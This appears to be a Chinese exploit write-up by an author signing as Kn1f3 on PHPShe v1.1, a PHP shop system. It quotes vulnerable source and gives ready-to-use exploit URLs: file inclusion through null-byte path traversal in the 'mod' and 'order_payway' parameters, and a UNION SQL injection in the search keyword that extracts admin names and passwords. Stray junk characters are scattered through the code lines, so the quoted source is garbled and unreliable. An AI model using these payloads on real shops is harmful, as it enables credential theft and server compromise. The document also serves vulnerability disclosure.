phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
. X9 [9 r0 {/ A# }' E/* ========================
! G+ O' J, N8 |9 Y" J/* By: : Kn1f3
+ g  q3 v# R: t. \. w" Y/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


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//common.php
if (get_magic_quotes_gpc()) {
2 u( F- p! Y+ M) W, [!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 {( V) `7 \; i# V5 |/ m!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- }; y) ]9 Z" S" \6 K!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
9 F" q0 E5 ~- m8 l6 ]# J4 Hsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 A! B  x5 Q- `1 L' R4 X!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0 y6 L- S& a: q0×01 包含漏洞
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! ~3 ?8 A( |3 {0 y
( Y( ~' ]5 G# c" I: c0 z7 q//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ Z# f, @  @7 C3 Einclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
. I* I. U2 j$ o- X. T/ g' S?>
- u% u+ v$ R2 o+ r) G3 t; w//common 文件 第15行开始
url路由配置
. Y: H9 Y/ n( E2 f  j$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 t. I5 d& b- \//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

- {$ i% T8 h2 F' P
0×02 搜索注入
+ {: j; n  }/ y& o, H
. I) y9 u! L) Q# G<code id="code2">

//product.php文件
+ D/ x. i6 W8 a8 ^6 J/ tcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
7 ]# w9 Y9 x! C. n4 t( Ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" V0 }( j( p' P& L- `}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' \; g, M; J4 O* C1 U, s4 r$ ?if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$ t9 k& c; r$ Y" A! u4 ^  U& \. K  q$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 r8 [& V5 f) v3 F1 z}
else {
+ i$ ^$ Y9 ^. f$sqlwhere .= " order by `product_id` desc";
}
/ o3 l# r. V( j# i$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. {# ^# \4 l% J  `4 ~  |7 q//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
/ V, k- g9 ?+ P& G# x) @$ M' Ainclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
, H+ _8 C1 p7 m, E& l$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
5 M  V! t* z# z3 r& |: k% [$ g" a//exp
+ d0 s7 w) ?; {# |product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

- R- h7 m$ o( V  I+ W<code id="code3">

//order.php

case 'pay':

; \2 G) N2 y7 @% U$ w: ~# Z$order_id = pe_dbhold($_g_id);

5 f% v$ y4 p. b" L4 x" a$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

: b9 `" M' G# ~2 i1 p/ Q, U$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

4 O3 a1 d+ T4 [+ L% yif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

. q& \- H# P, b" [3 m9 v: {}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% S) x1 {! g. [; j% O!$order['order_id'] && pe_error('订单号错误...');

6 [: |3 |# s- }' q, ]( _if (isset($_p_pesubmit)) {

' ^  P3 U( A. Y0 N3 v/ Y; Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

2 U: \. O8 f9 j0 ^$ B$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

5 \$ ]1 r- D7 H# O1 Y/ x$order['order_name'] .= "{$v['product_name']};";
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}

' F7 b) V- W: ]' n( necho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

( b, u: i3 u# D4 w9 n/ B% {else {

pe_error('支付错误...');

}

}

+ v) ~( w+ g4 Y, n& n4 q$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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